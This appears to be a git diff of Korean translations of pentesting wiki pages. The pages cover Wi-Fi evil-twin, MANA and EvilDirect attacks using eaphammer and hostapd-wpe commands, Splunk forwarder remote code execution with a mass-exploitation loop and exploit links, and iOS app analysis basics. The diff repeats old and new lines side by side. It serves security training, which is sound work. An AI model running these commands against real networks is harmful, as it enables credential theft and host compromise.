기본적으로 PNL에 ESSID가 WPA로 보호되어 저장되어 있으면, 장치는 자동으로 Open evil Twin에 연결되지 않습니다. 실제 AP를 DoS 공격하여 사용자가 수동으로 Open evil twin에 연결하기를 기대할 수 있으며, 또는 실제 AP를 DoS 공격하고 WPA Evil Twin을 사용하여 핸드셰이크를 캡처할 수 있습니다(이 방법을 사용하면 PSK를 알지 못하므로 피해자가 당신에게 연결할 수는 없지만, 핸드셰이크를 캡처하고 이를 크랙하려고 시도할 수 있습니다).
기본적으로 PNL에 ESSID가 WPA로 보호되어 저장되어 있으면, 장치는 자동으로 Open evil Twin에 연결되지 않습니다. 실제 AP에 DoS 공격을 시도하고 사용자가 수동으로 Open evil twin에 연결하기를 바라거나, 실제 AP에 DoS 공격을 하고 WPA Evil Twin을 사용하여 핸드쉐이크를 캡처할 수 있습니다(이 방법을 사용하면 PSK를 알지 못하므로 피해자가 당신에게 연결할 수는 없지만, 핸드쉐이크를 캡처하고 이를 크랙하려고 시도할 수 있습니다).
_일부 OS 및 AV는 사용자가 Open 네트워크에 연결하는 것이 위험하다고 경고할 것입니다..._
### WPA/WPA2 Evil Twin
**WPA/2를 사용하여 Evil Twin을 생성할 수** 있으며, 장치가 WPA/2로 해당 SSID에 연결하도록 구성되어 있다면 연결을 시도할 것입니다. 어쨌든, **4-way-handshake를 완료하려면** 클라이언트가 사용할 **비밀번호**를 **알아야** 합니다. **모르시면** **연결이 완료되지 않습니다.**
**WPA/2를 사용하여 Evil Twin을 생성할 수** 있으며, 장치가 WPA/2로 해당 SSID에 연결하도록 구성되어 있다면 연결을 시도할 것입니다. 어쨌든, **4-way-handshake를 완료하려면** 클라이언트가 사용할 **비밀번호**를 **알아야** 합니다. **모르면** **연결이 완료되지 않습니다.**
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Enterprise Evil Twin
이 공격을 이해하기 위해서는 먼저 간단한 [WPA Enterprise 설명](#wpa-enterprise-mgt)을 읽는 것이 좋습니다.
이 공격을 이해하기 위해서는 먼저 [WPA Enterprise 설명](#wpa-enterprise-mgt)을 읽는 것을 추천합니다.
**hostapd-wpe 사용하기**
@ -545,7 +545,7 @@ hostapd-wpe ./victim/victim.conf -s
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
기본적으로 EAPHammer는 이 인증 방법을 제안합니다(평문 비밀번호를 얻기 위해 가장 먼저 시도하는 GTC와 그 다음에 더 강력한 인증 방법의 사용을 주목하십시오):
기본적으로, EAPHammer는 이 인증 방법을 제공합니다 (평문 비밀번호를 얻기 위해 가장 먼저 GTC를 시도하고 그 다음에 더 강력한 인증 방법을 사용합니다):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
@ -553,7 +553,7 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
--negotiate weakest
```
또한 다음을 사용할 수 있습니다:
다음과 같은 방법을 사용할 수도 있습니다:
- `--negotiate gtc-downgrade`를 사용하여 매우 효율적인 GTC 다운그레이드 구현(평문 비밀번호)을 사용합니다.
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`를 사용하여 제공되는 방법을 수동으로 지정합니다(조직과 동일한 순서로 동일한 인증 방법을 제공하면 공격을 탐지하기가 훨씬 더 어려워집니다).
@ -562,7 +562,7 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
**Airgeddon 사용하기**
`Airgeddon`은 이전에 생성된 인증서를 사용하여 WPA/WPA2-Enterprise 네트워크에 EAP 인증을 제공합니다. 가짜 네트워크는 연결 프로토콜을 EAP-MD5로 다운그레이드하여 **사용자와 비밀번호의 MD5를 캡처할 수 있습니다**. 이후 공격자는 비밀번호를 크랙하려고 시도할 수 있습니다.\
`Airgeddon`은 **지속적인 Evil Twin 공격(소음)** 또는 **누군가 연결될 때까지 Evil Attack만 생성(부드럽게)** 할 수 있는 가능성을 제공합니다.
`Airgeddon`은 **지속적인 Evil Twin 공격(소음)** 또는 **누군가 연결할 때까지 Evil Attack만 생성(부드럽게)** 할 수 있는 가능성을 제공합니다.
![](<../../images/image (936).png>)
@ -570,14 +570,14 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
_이 방법은 PEAP 연결에서 테스트되었지만 임의의 TLS 터널을 복호화하고 있으므로 EAP-TTLS에서도 작동해야 합니다._
**configuration**의 _hostapd-wpe_에서 **dh_file**이 포함된 줄을 **주석 처리**합니다(`dh_file=/etc/hostapd-wpe/certs/dh`에서 `#dh_file=/etc/hostapd-wpe/certs/dh`로)\
**hostapd-wpe**의 **구성**에서 _**dh_file**_이 포함된 줄을 **주석 처리**합니다(`dh_file=/etc/hostapd-wpe/certs/dh`에서 `#dh_file=/etc/hostapd-wpe/certs/dh`로 변경)\
이렇게 하면 `hostapd-wpe`가 **DH 대신 RSA를 사용하여 키를 교환**하므로 **서버의 개인 키를 알고 있으면** 나중에 트래픽을 **복호화**할 수 있습니다.
이제 수정된 구성으로 **`hostapd-wpe`**를 사용하여 **Evil Twin**을 시작합니다. 또한 **Evil Twin 공격을 수행하는 인터페이스에서 `wireshark`**를 시작합니다.
이제 수정된 구성으로 **`hostapd-wpe`**를 사용하여 **Evil Twin**을 시작합니다. 또한 Evil Twin 공격을 수행하는 **인터페이스**에서 **`wireshark`**를 시작합니다.
이제 또는 나중에(인증 시도가 캡처된 후) `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`에서 wireshark에 개인 RSA 키를 추가할 수 있습니다.
이제 또는 나중에(인증 시도가 몇 개 캡처된 후) `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`에서 wireshark에 개인 RSA 키를 추가할 수 있습니다.
새 항목을 추가하고 다음 값으로 양식을 채웁니다: **IP 주소 = any** -- **포트 = 0** -- **프로토콜 = data** -- **키 파일** (**키 파일 선택**, 문제를 피하기 위해 **비밀번호로 보호되지 않은 키 파일**을 선택합니다).
새 항목을 추가하고 다음 값으로 양식을 채웁니다: **IP 주소 = any** -- **포트 = 0** -- **프로토콜 = data** -- **키 파일** (**키 파일을 선택**, 문제를 피하기 위해 **비밀번호로 보호되지 않은 키 파일**을 선택합니다).
![](<../../images/image (687).png>)
@ -589,16 +589,16 @@ _이 방법은 PEAP 연결에서 테스트되었지만 임의의 TLS 터널을
### ESSID 및 MAC 블랙/화이트리스트
다양한 유형의 미디어 접근 제어 필터 목록(MFACL)과 해당 모드 및 악성 액세스 포인트(AP)의 동작에 미치는 영향:
다양한 유형의 미디어 액세스 제어 필터 목록(MFACL)과 해당 모드 및 악성 액세스 포인트(AP)의 동작에 미치는 영향:
1. **MAC 기반 화이트리스트**:
- 악성 AP는 화이트리스트에 지정된 장치의 프로브 요청에만 응답하며, 나열되지 않은 모든 장치에는 보이지 않습니다.
2. **MAC 기반 블랙리스트**:
- 악성 AP는 블랙리스트에 있는 장치의 프로브 요청을 무시하여 해당 특정 장치에 대해 악성 AP가 보이지 않게 만듭니다.
- 악성 AP는 블랙리스트에 있는 장치의 프로브 요청을 무시하여, 특정 장치에 대해 악성 AP가 보이지 않게 만듭니다.
3. **SSID 기반 화이트리스트**:
- 악성 AP는 나열된 특정 ESSID에 대해서만 프로브 요청에 응답하여, 해당 ESSID가 포함되지 않은 장치에는 보이지 않게 만듭니다.
4. **SSID 기반 블랙리스트**:
- 악성 AP는 블랙리스트에 있는 특정 ESSID에 대한 프로브 요청에 응답하지 않으며, 해당 특정 네트워크를 찾는 장치에는 보이지 않게 만듭니다.
- 악성 AP는 블랙리스트에 있는 특정 ESSID에 대한 프로브 요청에 응답하지 않으며, 특정 네트워크를 찾는 장치에는 보이지 않게 만듭니다.
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -624,21 +624,21 @@ name3
### MANA
그 후, **장치가 원치 않는 네트워크 응답을 무시하기 시작하여 원래의 카르마 공격의 효과가 감소했습니다**. 그러나 **MANA 공격**으로 알려진 새로운 방법이 Ian de Villiers와 Dominic White에 의해 도입되었습니다. 이 방법은 악성 AP가 **장치의 방송 프로브 요청에 응답하여 장치가 이전에 요청한 네트워크 이름(SSID)으로 선호 네트워크 목록(PNL)을 캡처하는** 것을 포함합니다. 이 정교한 공격은 장치가 알려진 네트워크를 기억하고 우선순위를 매기는 방식을 이용하여 원래의 카르마 공격에 대한 보호를 우회합니다.
그 후, **장치들이 불확실한 네트워크 응답을 무시하기 시작하여** 원래의 karma 공격의 효과가 감소했습니다. 그러나 **MANA 공격**으로 알려진 새로운 방법이 Ian de Villiers와 Dominic White에 의해 도입되었습니다. 이 방법은 악성 AP가 **장치의 방송 프로브 요청에 응답하여 장치가 이전에 인식한 네트워크 이름(SSID)으로 선호 네트워크 목록(PNL)을 캡처하는** 것입니다. 이 정교한 공격은 장치가 알려진 네트워크를 기억하고 우선순위를 매기는 방식을 이용하여 원래의 karma 공격에 대한 보호를 우회합니다.
MANA 공격은 장치의 지향 및 방송 프로브 요청을 모두 모니터링하여 작동합니다. 지향 요청의 경우, 장치의 MAC 주소와 요청된 네트워크 이름을 기록하여 이 정보를 목록에 추가합니다. 방송 요청이 수신되면 AP는 장치의 목록에 있는 네트워크와 일치하는 정보를 제공하여 장치가 악성 AP에 연결하도록 유도합니다.
MANA 공격은 장치의 지향 및 방송 프로브 요청을 모두 모니터링하여 작동합니다. 지향 요청의 경우, 장치의 MAC 주소와 요청된 네트워크 이름을 기록하여 이 정보를 목록에 추가합니다. 방송 요청이 수신되면, AP는 장치의 목록에 있는 네트워크와 일치하는 정보를 제공하여 장치가 악성 AP에 연결하도록 유도합니다.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
A **Loud MANA attack**는 장치가 지향 프로빙을 사용하지 않거나 공격자에게 선호 네트워크 목록(Preferred Network Lists, PNL)이 알려지지 않은 경우에 대한 고급 전략입니다. 이 공격은 **같은 지역에 있는 장치들이 PNL에서 일부 네트워크 이름을 공유할 가능성이 높다는 원칙**에 기반합니다. 선택적으로 응답하는 대신, 이 공격은 관찰된 모든 장치의 결합된 PNL에서 발견된 모든 네트워크 이름(ESSID)에 대해 프로브 응답을 방송합니다. 이 광범위한 접근 방식은 장치가 친숙한 네트워크를 인식하고 악성 액세스 포인트(Access Point, AP)에 연결을 시도할 가능성을 높입니다.
A **Loud MANA attack**는 장치가 지향 프로빙을 사용하지 않거나 공격자에게 선호 네트워크 목록(Preferred Network Lists, PNL)이 알려지지 않은 경우에 대한 고급 전략입니다. 이 공격은 **같은 지역에 있는 장치들이 PNL에서 일부 네트워크 이름을 공유할 가능성이 높다는 원칙**에 기반합니다. 선택적으로 응답하는 대신, 이 공격은 관찰된 모든 장치의 결합된 PNL에서 발견된 모든 네트워크 이름(ESSID)에 대해 프로브 응답을 방송합니다. 이러한 광범위한 접근 방식은 장치가 친숙한 네트워크를 인식하고 악성 액세스 포인트(Access Point, AP)에 연결을 시도할 가능성을 높입니다.
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Known Beacon attack
**Loud MANA 공격**이 충분하지 않을 때, **Known Beacon attack**은 또 다른 접근 방식을 제공합니다. 이 방법은 **단어 목록에서 파생된 잠재적 ESSID 목록을 순환하며, 모든 네트워크 이름에 응답하는 AP를 시뮬레이션하여 연결 프로세스를 무차별 대입합니다**. 이는 여러 네트워크의 존재를 시뮬레이션하여 피해자의 PNL 내에서 ESSID와 일치하기를 희망하며, 조작된 AP에 대한 연결 시도를 유도합니다. 이 공격은 `--loud` 옵션과 결합하여 장치를 포획하기 위한 보다 공격적인 시도를 통해 증폭될 수 있습니다.
**Loud MANA attack**로 충분하지 않을 때, **Known Beacon attack**은 또 다른 접근 방식을 제공합니다. 이 방법은 **단어 목록에서 파생된 잠재적 ESSID 목록을 순환하며, 모든 네트워크 이름에 응답하는 AP를 시뮬레이션하여 연결 프로세스를 무차별 대입합니다**. 이는 여러 네트워크의 존재를 시뮬레이션하여 피해자의 PNL 내에서 ESSID와 일치하기를 희망하며, 조작된 AP에 대한 연결 시도를 유도합니다. 이 공격은 `--loud` 옵션과 결합하여 장치를 포획하기 위한 보다 공격적인 시도를 통해 증폭될 수 있습니다.
Eaphammer는 이 공격을 MANA 공격으로 구현했으며, 목록 내의 모든 ESSID가 사용됩니다 (여기에 `--loud`를 결합하여 Loud MANA + Known beacons 공격을 생성할 수도 있습니다):
```bash
@ -657,9 +657,9 @@ Eaphammer는 이 공격을 MANA 공격으로 구현했으며, 목록 내의 모
```
## Wi-Fi Direct
**Wi-Fi Direct**는 전통적인 무선 액세스 포인트 없이 Wi-Fi를 사용하여 장치가 서로 직접 연결할 수 있도록 하는 프로토콜입니다. 이 기능은 프린터 및 텔레비전과 같은 다양한 사물인터넷(IoT) 장치에 통합되어 장치 간의 직접 통신을 용이하게 합니다. Wi-Fi Direct의 주목할 만한 특징은 한 장치가 그룹 소유자로 알려진 액세스 포인트 역할을 하여 연결을 관리한다는 것입니다.
**Wi-Fi Direct**는 전통적인 무선 액세스 포인트 없이 Wi-Fi를 사용하여 장치들이 서로 직접 연결할 수 있도록 하는 프로토콜입니다. 이 기능은 프린터와 텔레비전과 같은 다양한 사물인터넷(IoT) 장치에 통합되어 있으며, 장치 간의 직접 통신을 용이하게 합니다. Wi-Fi Direct의 주목할 만한 특징은 하나의 장치가 그룹 소유자라고 알려진 액세스 포인트 역할을 하여 연결을 관리한다는 것입니다.
Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설정되며, 안전한 페어링을 위한 여러 방법을 지원합니다:
Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설정되며, 안전한 페어링을 위한 여러 방법을 지원합니다. 여기에는 다음이 포함됩니다:
- **Push-Button Configuration (PBC)**
- **PIN 입력**
@ -669,7 +669,7 @@ Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설
### EvilDirect Hijacking
**EvilDirect Hijacking**은 Wi-Fi Direct에 특정한 공격입니다. 이는 Evil Twin 공격의 개념을 반영하지만 Wi-Fi Direct 연결을 목표로 합니다. 이 시나리오에서 공격자는 합법적인 그룹 소유자를 가장하여 장치가 악의적인 엔티티에 연결되도록 속입니다. 이 방법은 `airbase-ng`와 같은 도구를 사용하여 채널, ESSID 및 가장한 장치의 MAC 주소를 지정하여 실행할 수 있습니다.
**EvilDirect Hijacking**은 Wi-Fi Direct에 특화된 공격입니다. 이는 Evil Twin 공격의 개념을 반영하지만 Wi-Fi Direct 연결을 목표로 합니다. 이 시나리오에서 공격자는 합법적인 그룹 소유자를 가장하여 장치들이 악의적인 엔티티에 연결되도록 속입니다. 이 방법은 `airbase-ng`와 같은 도구를 사용하여 채널, ESSID 및 가장한 장치의 MAC 주소를 지정하여 실행할 수 있습니다.
## References

20
src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
기계 **내부** 또는 **외부**를 **열거**하는 동안 **Splunk가 실행 중**인 것을 발견하면(포트 8090), 운이 좋게도 **유효한 자격 증명**을 알고 있다면 **Splunk 서비스를 악용**하여 Splunk를 실행 중인 사용자로서 **쉘을 실행**할 수 있습니다. 만약 root가 실행 중이라면, root 권한으로 상승할 수 있습니다.
기계 **내부** 또는 **외부**를 **열거**하는 동안 **Splunk가 실행 중**인 것을 발견하면 (포트 8090), 운이 좋게도 **유효한 자격 증명**을 알고 있다면 **Splunk 서비스를 악용**하여 Splunk를 실행 중인 사용자로서 **쉘을 실행**할 수 있습니다. 루트가 실행 중이라면, 루트 권한으로 상승할 수 있습니다.
또한 이미 **root**이고 Splunk 서비스가 localhost에서만 수신 대기하지 않는 경우, Splunk 서비스에서 **비밀번호** 파일을 **훔치고** 비밀번호를 **크랙**하거나 **새로운** 자격 증명을 추가할 수 있습니다. 그리고 호스트에서 지속성을 유지할 수 있습니다.
또한 **이미 루트이고 Splunk 서비스가 localhost에서만 수신 대기하지 않는 경우**, Splunk 서비스에서 **비밀번호** 파일을 **훔치고** 비밀번호를 **크랙**하거나 **새로운** 자격 증명을 추가할 수 있습니다. 그리고 호스트에서 지속성을 유지할 수 있습니다.
아래 첫 번째 이미지에서 Splunkd 웹 페이지가 어떻게 생겼는지 볼 수 있습니다.
@ -13,13 +13,13 @@
자세한 내용은 [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) 포스트를 확인하세요. 이것은 요약입니다:
**취약점 개요:**
Splunk Universal Forwarder Agent (UF)를 대상으로 하는 취약점은 공격자가 에이전트 비밀번호를 사용하여 에이전트를 실행 중인 시스템에서 임의의 코드를 실행할 수 있게 하여 전체 네트워크를 위험에 빠뜨릴 수 있습니다.
Splunk Universal Forwarder Agent (UF)를 대상으로 하는 취약점은 공격자가 에이전트 비밀번호를 사용하여 에이전트를 실행하는 시스템에서 임의의 코드를 실행할 수 있게 하여 전체 네트워크를 위험에 빠뜨릴 수 있습니다.
**주요 사항:**
- UF 에이전트는 수신 연결이나 코드의 진위를 검증하지 않아 무단 코드 실행에 취약합니다.
- UF 에이전트는 들어오는 연결이나 코드의 진위를 검증하지 않으므로 무단 코드 실행에 취약합니다.
- 일반적인 비밀번호 획득 방법에는 네트워크 디렉토리, 파일 공유 또는 내부 문서에서 찾는 것이 포함됩니다.
- 성공적인 취약점 악용은 손상된 호스트에서 SYSTEM 또는 root 수준의 접근, 데이터 유출 및 추가 네트워크 침투로 이어질 수 있습니다.
- 성공적인 취약점 악용은 손상된 호스트에서 SYSTEM 또는 루트 수준의 접근, 데이터 유출 및 추가 네트워크 침투로 이어질 수 있습니다.
**취약점 실행:**
@ -29,7 +29,7 @@ Splunk Universal Forwarder Agent (UF)를 대상으로 하는 취약점은 공격
**영향:**
- 각 호스트에서 SYSTEM/root 수준 권한으로 전체 네트워크가 손상됩니다.
- 각 호스트에서 SYSTEM/루트 수준의 권한으로 전체 네트워크가 손상됩니다.
- 탐지를 피하기 위해 로깅을 비활성화할 가능성.
- 백도어 또는 랜섬웨어 설치.
@ -39,12 +39,12 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
```
**사용 가능한 공개 익스플로잇:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
## Splunk 쿼리 악용
**자세한 내용은 게시물 [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)를 확인하세요.**
**자세한 내용은 [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis) 게시물을 확인하세요.**
{{#include ../../banners/hacktricks-training.md}}

182
src/mobile-pentesting/ios-pentesting/README.md
View File

@ -26,16 +26,16 @@ ios-testing-environment.md
basic-ios-testing-operations.md
{{#endref}}
> [!NOTE]
> [!TIP]
> 다음 단계에서는 **앱이 장치에 설치되어 있어야** 하며, 애플리케이션의 **IPA 파일**을 이미 확보해야 합니다.\
> [Basic iOS Testing Operations](basic-ios-testing-operations.md) 페이지를 읽어 이 작업을 수행하는 방법을 배우세요.
> 이를 수행하는 방법을 배우려면 [Basic iOS Testing Operations](basic-ios-testing-operations.md) 페이지를 읽으세요.
### Basic Static Analysis
흥미로운 iOS - IPA 파일 디컴파일러:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
IPA 파일에 대한 자동 정적 분석을 수행하기 위해 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 도구를 사용하는 것이 좋습니다.
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
### Basic Dynamic Analysis
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)가 수행하는 동적 분석을 확인하세요. 다양한 뷰를 탐색하고 상호작용해야 하지만, 다른 작업을 수행하는 동안 여러 클래스를 후킹하고 완료되면 보고서를 준비합니다.
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)가 수행하는 동적 분석을 확인하세요. 다양한 뷰를 탐색하고 상호작용해야 하지만, 다른 작업을 수행하는 동안 여러 클래스를 후킹하고 작업이 완료되면 보고서를 준비합니다.
### Listing Installed Apps
@ -154,7 +154,7 @@ PID Name Identifier
```
### 기본 열거 및 후킹
애플리케이션의 **구성 요소를 열거하는 방법**과 **objection**을 사용하여 메서드와 클래스를 쉽게 **후킹하는 방법**을 배웁니다:
애플리케이션의 **구성 요소를 열거하는 방법**과 **objection**을 사용하여 **메서드와 클래스를 후킹하는 방법**을 배웁니다:
{{#ref}}
ios-hooking-with-objection.md
@ -168,11 +168,11 @@ ios-hooking-with-objection.md
- **`_CodeSignature/`**: 이 디렉토리에는 번들 내 모든 파일의 무결성을 보장하는 서명이 포함된 plist 파일이 있습니다.
- **`Assets.car`**: 아이콘과 같은 자산 파일을 저장하는 압축 아카이브입니다.
- **`Frameworks/`**: 이 폴더에는 `.dylib` 또는 `.framework` 파일 형식의 애플리케이션 네이티브 라이브러리가 포함되어 있습니다.
- **`PlugIns/`**: 이 디렉토리에는 애플리케이션의 확장인 `.appex` 파일이 포함될 수 있지만 항상 존재하는 것은 아닙니다. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): 애플리케이션의 영구 데이터를 오프라인에서 저장하고, 임시 데이터를 캐시하며, 단일 장치에서 앱의 실행 취소 기능을 추가하는 데 사용됩니다. 단일 iCloud 계정의 여러 장치 간에 데이터를 동기화하기 위해 Core Data는 자동으로 스키마를 CloudKit 컨테이너에 미러링합니다.
- **`PlugIns/`**: 이 폴더에는 `.appex` 파일로 알려진 애플리케이션 확장이 포함될 수 있지만 항상 존재하는 것은 아닙니다. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): 애플리케이션의 영구 데이터를 오프라인에서 저장하고, 임시 데이터를 캐시하며, 단일 장치에서 앱의 실행 취소 기능을 추가하는 데 사용됩니다. 단일 iCloud 계정의 여러 장치 간에 데이터를 동기화하기 위해 Core Data는 자동으로 스키마를 CloudKit 컨테이너에 미러링합니다.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` 파일은 애플리케이션 또는 번들의 유형 및 생성자 코드를 지정하는 대체 방법입니다.
- **en.lproj, fr.proj, Base.lproj**: 특정 언어에 대한 리소스를 포함하는 언어 팩이며, 언어가 지원되지 않는 경우 기본 리소스를 포함합니다.
- **보안**: `_CodeSignature/` 디렉토리는 디지털 서명을 통해 모든 번들 파일의 무결성을 검증하여 앱의 보안에서 중요한 역할을 합니다.
- **자산 관리**: `Assets.car` 파일은 압축을 사용하여 그래픽 자산을 효율적으로 관리하며, 이는 애플리케이션 성능 최적화와 전체 크기 감소에 중요합니다.
- **en.lproj, fr.proj, Base.lproj**: 특정 언어에 대한 리소스를 포함하는 언어 팩이며, 지원되지 않는 언어의 경우 기본 리소스를 포함합니다.
- **보안**: `_CodeSignature/` 디렉토리는 디지털 서명을 통해 번들된 모든 파일의 무결성을 검증하여 앱의 보안에서 중요한 역할을 합니다.
- **자산 관리**: `Assets.car` 파일은 압축을 사용하여 그래픽 자산을 효율적으로 관리하며, 이는 애플리케이션 성능 최적화 및 전체 크기 감소에 중요합니다.
- **프레임워크 및 플러그인**: 이러한 디렉토리는 iOS 애플리케이션의 모듈성을 강조하며, 개발자가 재사용 가능한 코드 라이브러리(`Frameworks/`)를 포함하고 앱 기능을 확장(`PlugIns/`)할 수 있도록 합니다.
- **현지화**: 이 구조는 여러 언어를 지원하여 특정 언어 팩에 대한 리소스를 포함함으로써 글로벌 애플리케이션 도달을 촉진합니다.
@ -180,13 +180,13 @@ ios-hooking-with-objection.md
**Info.plist**는 iOS 애플리케이션의 초석으로, **키-값** 쌍 형태로 주요 구성 데이터를 캡슐화합니다. 이 파일은 애플리케이션뿐만 아니라 번들 내의 앱 확장 및 프레임워크에도 필수적입니다. XML 또는 이진 형식으로 구조화되어 있으며, 앱 권한에서 보안 구성에 이르기까지 중요한 정보를 포함합니다. 사용 가능한 키에 대한 자세한 탐색은 [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)를 참조할 수 있습니다.
이 파일을 보다 접근 가능한 형식으로 작업하려는 경우, macOS에서 `plutil`을 사용하여 XML 변환을 쉽게 수행할 수 있습니다(버전 10.2 이상에서 기본적으로 제공됨) 또는 Linux에서 `plistutil`을 사용할 수 있습니다. 변환 명령은 다음과 같습니다:
이 파일을 보다 접근 가능한 형식으로 작업하려는 경우, XML 변환은 macOS에서 `plutil`을 사용하여 쉽게 수행할 수 있습니다(버전 10.2 이상에서 기본적으로 제공됨) 또는 Linux에서 `plistutil`을 사용할 수 있습니다. 변환 명령은 다음과 같습니다:
- **macOS의 경우**:
```bash
$ plutil -convert xml1 Info.plist
```
- **리눅스를 위한**:
- **리눅스용**:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
@ -197,7 +197,7 @@ $ grep -i <keyword> Info.plist
```
**데이터 경로**
iOS 환경에서는 디렉토리가 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특별히 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 위치하고, 사용자 설치 앱은 `/var/mobile/containers/Data/Application/` 아래에 배치됩니다. 이러한 애플리케이션은 **128비트 UUID**라는 고유 식별자가 할당되어 있어, 디렉토리 이름의 무작위성 때문에 수동으로 앱의 폴더를 찾는 것이 어렵습니다.
iOS 환경에서는 디렉토리가 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특별히 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 위치하고, 사용자 설치 앱은 `/var/mobile/containers/Data/Application/` 아래에 배치됩니다. 이러한 애플리케이션은 **128비트 UUID**로 알려진 고유 식별자가 할당되어, 디렉토리 이름의 무작위성으로 인해 수동으로 앱의 폴더를 찾는 것이 어려워집니다.
> [!WARNING]
> iOS의 애플리케이션은 샌드박스화되어야 하므로, 각 앱은 **`$HOME/Library/Containers`** 내에 앱의 **`CFBundleIdentifier`**를 폴더 이름으로 가진 폴더도 갖습니다.
@ -219,23 +219,23 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
```bash
find /private/var/containers -name "Progname*"
```
`ps` 및 `lsof`와 같은 명령어는 각각 앱의 프로세스를 식별하고 열린 파일을 나열하는 데 사용될 수 있으며, 애플리케이션의 활성 디렉토리 경로에 대한 통찰력을 제공합니다:
`ps` 및 `lsof`와 같은 명령어는 앱의 프로세스를 식별하고 각각 열린 파일을 나열하는 데 사용될 수 있으며, 애플리케이션의 활성 디렉토리 경로에 대한 통찰력을 제공합니다:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
```
**번들 디렉토리:**
**Bundle directory:**
- **AppName.app**
- 이것은 IPA에서 이전에 본 애플리케이션 번들로, 필수 애플리케이션 데이터, 정적 콘텐츠 및 애플리케이션의 컴파일된 바이너리를 포함합니다.
- 이것은 IPA에서 이전에 본 애플리케이션 번들이며, 필수 애플리케이션 데이터, 정적 콘텐츠 및 애플리케이션의 컴파일된 바이너리를 포함합니다.
- 이 디렉토리는 사용자에게 보이지만 **사용자는 여기에 쓸 수 없습니다**.
- 이 디렉토리의 콘텐츠는 **백업되지 않습니다**.
- 이 폴더의 내용은 **코드 서명을 검증하는 데 사용됩니다**.
**데이터 디렉토리:**
**Data directory:**
- **Documents/**
- 모든 사용자 생성 데이터를 포함합니다. 애플리케이션 최종 사용자가 이 데이터의 생성을 시작합니다.
- 사용자 생성 데이터를 모두 포함합니다. 애플리케이션 최종 사용자가 이 데이터의 생성을 시작합니다.
- 사용자에게 보이며 **사용자는 여기에 쓸 수 있습니다**.
- 이 디렉토리의 콘텐츠는 **백업됩니다**.
- 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다.
@ -253,13 +253,13 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- 이 디렉토리의 콘텐츠는 **백업됩니다**.
- 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다.
- **Library/Preferences/**
- 애플리케이션이 재시작된 후에도 **유지될 수 있는** 속성을 저장하는 데 사용됩니다.
- 애플리케이션이 재시작된 후에도 **지속될 수 있는** 속성을 저장하는 데 사용됩니다.
- 정보는 암호화되지 않은 상태로 애플리케이션 샌드박스 내의 \[BUNDLE_ID].plist라는 plist 파일에 저장됩니다.
